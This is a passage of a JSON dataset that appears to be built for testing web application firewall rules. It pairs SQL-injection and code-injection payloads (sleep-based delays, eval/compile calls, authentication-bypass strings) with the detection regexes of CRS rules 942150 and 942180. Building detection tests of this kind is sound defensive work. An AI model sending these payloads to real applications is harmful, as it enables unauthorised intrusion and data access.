"(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Simple injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=1)and (select*from(select(sleep(12)))a)-- : 1)and (select*from(select(sleep(12)))a)--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Advanced SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=/path/to/file/config.ini')and (select*from(select(sleep(12)))a)--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Advanced SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Simple injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=test{${sleep(12)}}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Simple injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=test\"+eval(compile('for x in range(1):\\n import time\\n time.sleep(12)','a','single'))+\"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Advanced injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=test\"+(function(){if(typeof gs78r==='undefined'){var a=new Date();do{var b=new Date();}while(b-a<20000);gs78r=1;}}())+\"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Advanced injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\\foobar.txt\" or sleep(4) #" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Simple injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40juice-sh.op%5C'%20or%20json%20(id);" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "SQLite 'json' function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40juice-sh.op%5C'%20or%20json_valid%20(id);" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "SQLite 'json_valid' function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40juice-sh.op%5C'%20or%20glob%20(id,id);" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "SQLite 'glob' function" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=3%27%20%27%201" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:/\\*)+[\\\"'`]+[\\s\\x0b]?(?:--|[#\\{]|/\\*)?|[\\\"'`](?:[\\s\\x0b]*(?:(?:x?or|and|div|like|between)[\\s\\x0b\\-0-9A-Z_a-z]+[\\(\\)\\+-\\-<->][\\s\\x0b]*[\\\"'0-9`]|[!=\\|](?:[\\s\\x0b!\\+\\-0-9=]+[^\\[]*[\\\"'\\(`].*|[\\s\\x0b!0-9=]+[^0-9]*[0-9]+)$|(?:like|print)[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|;)|(?:[<>~]+|[\\s\\x0b]*[^\\s\\x0b0-9A-Z_a-z]?=[\\s\\x0b]*|[^0-9A-Z_a-z]*?[\\+=]+[^0-9A-Z_a-z]*?)[\\\"'`])|[0-9][\\\"'`][\\s\\x0b]+[\\\"'`][\\s\\x0b]+[0-9]|^admin[\\s\\x0b]*?[\\\"'`]|[\\s\\x0b\\\"'\\(`][\\s\\x0b]*?glob[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|[\\s\\x0b]is[\\s\\x0b]*?0[^0-9A-Z_a-z]|where[\\s\\x0b][\\s\\x0b,-\\.0-9A-Z_a-z]+[\\s\\x0b]=", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942180", "test_description": "basic SQL authentication bypass" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%27%3b" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:/\\*)+[\\\"'`]+[\\s\\x0b]?(?:--|[#\\{]|/\\*)?|[\\\"'`](?:[\\s\\x0b]*(?:(?:x?or|and|div|like|between)[\\s\\x0b\\-0-9A-Z_a-z]+[\\(\\)\\+-\\-<->][\\s\\x0b]*[\\\"'0-9`]|[!=\\|](?:[\\s\\x0b!\\+\\-0-9=]+[^\\[]*[\\\"'\\(`].*|[\\s\\x0b!0-9=]+[^0-9]*[0-9]+)$|(?:like|print)[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|;)|(?:[<>~]+|[\\s\\x0b]*[^\\s\\x0b0-9A-Z_a-z]?=[\\s\\x0b]*|[^0-9A-Z_a-z]*?[\\+=]+[^0-9A-Z_a-z]*?)[\\\"'`])|[0-9][\\\"'`][\\s\\x0b]+[\\\"'`][\\s\\x0b]+[0-9]|^admin[\\s\\x0b]*?[\\\"'`]|[\\s\\x0b\\\"'\\(`][\\s\\x0b]*?glob[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|[\\s\\x0b]is[\\s\\x0b]*?0[^0-9A-Z_a-z]|where[\\s\\x0b][\\s\\x0b,-\\.0-9A-Z_a-z]+[\\s\\x0b]=", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942180", "test_description": "basic SQL authentication bypass SQLite " } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%27glob%201%3b" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:/\\*)+[\\\"'`]+[\\s\\x0b]?(?:--|[#\\{]|/\\*)?|[\\\"'`](?:[\\s\\x0b]*(?:(?:x?or|and|div|like|between)[\\s\\x0b\\-0-9A-Z_a-z]+[\\(\\)\\+-\\-<->][\\s\\x0b]*[\\\"'0-9`]|[!=\\|](?:[\\s\\x0b!\\+\\-0-9=]+[^\\[]*[\\\"'\\(`].*|[\\s\\x0b!0-9=]+[^0-9]*[0-9]+)$|(?:like|print)[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|;)|(?:[<>~]+|[\\s\\x0b]*[^\\s\\x0b0-9A-Z_a-z]?=[\\s\\x0b]*|[^0-9A-Z_a-z]*?[\\+=]+[^0-9A-Z_a-z]*?)[\\\"'`])|[0-9][\\\"'`][\\s\\x0b]+[\\\"'`][\\s\\x0b]+[0-9]|^admin[\\s\\x0b]*?[\\\"'`]|[\\s\\x0b\\\"'\\(`][\\s\\x0b]*?glob[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|[\\s\\x0b]is[\\s\\x0b]*?0[^0-9A-Z_a-z]|where[\\s\\x0b][\\s\\x0b,-\\.0-9A-Z_a-z]+[\\s\\x0b]=", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942180", "test_description": "basic SQL authentication bypass SQLite glob" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%27%3bprint%27" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:/\\*)+[\\\"'`]+[\\s\\x0b]?(?:--|[#\\{]|/\\*)?|[\\\"'`](?:[\\s\\x0b]*(?:(?:x?or|and|div|like|between)[\\s\\x0b\\-0-9A-Z_a-z]+[\\(\\)\\+-\\-<->][\\s\\x0b]*[\\\"'0-9`]|[!=\\|](?:[\\s\\x0b!\\+\\-0-9=]+[^\\[]*[\\\"'\\(`].*|[\\s\\x0b!0-9=]+[^0-9]*[0-9]+)$|(?:like|print)[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|;)|(?:[<>~]+|[\\s\\x0b]*[^\\s\\x0b0-9A-Z_a-z]?=[\\s\\x0b]*|[^0-9A-Z_a-z]*?[\\+=]+[^0-9A-Z_a-z]*?)[\\\"'`])|[0-9][\\\"'`][\\s\\x0b]+[\\\"'`][\\s\\x0b]+[0-9]|^admin[\\s\\x0b]*?[\\\"'`]|[\\s\\x0b\\\"'\\(`][\\s\\x0b]*?glob[^0-9A-Z_a-z]+[\\\"'\\(0-9A-Z_-z]|[\\s\\x0b]is[\\s\\x0b]*?0[^0-9A-Z_a-z]|where[\\s\\x0b][\\s\\x0b,-\\.0-9A-Z_a-z]+[\\s\\x0b]=", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942180", "test_description": "basic SQL authentication bypass SQLserver" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%27%3b%23" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 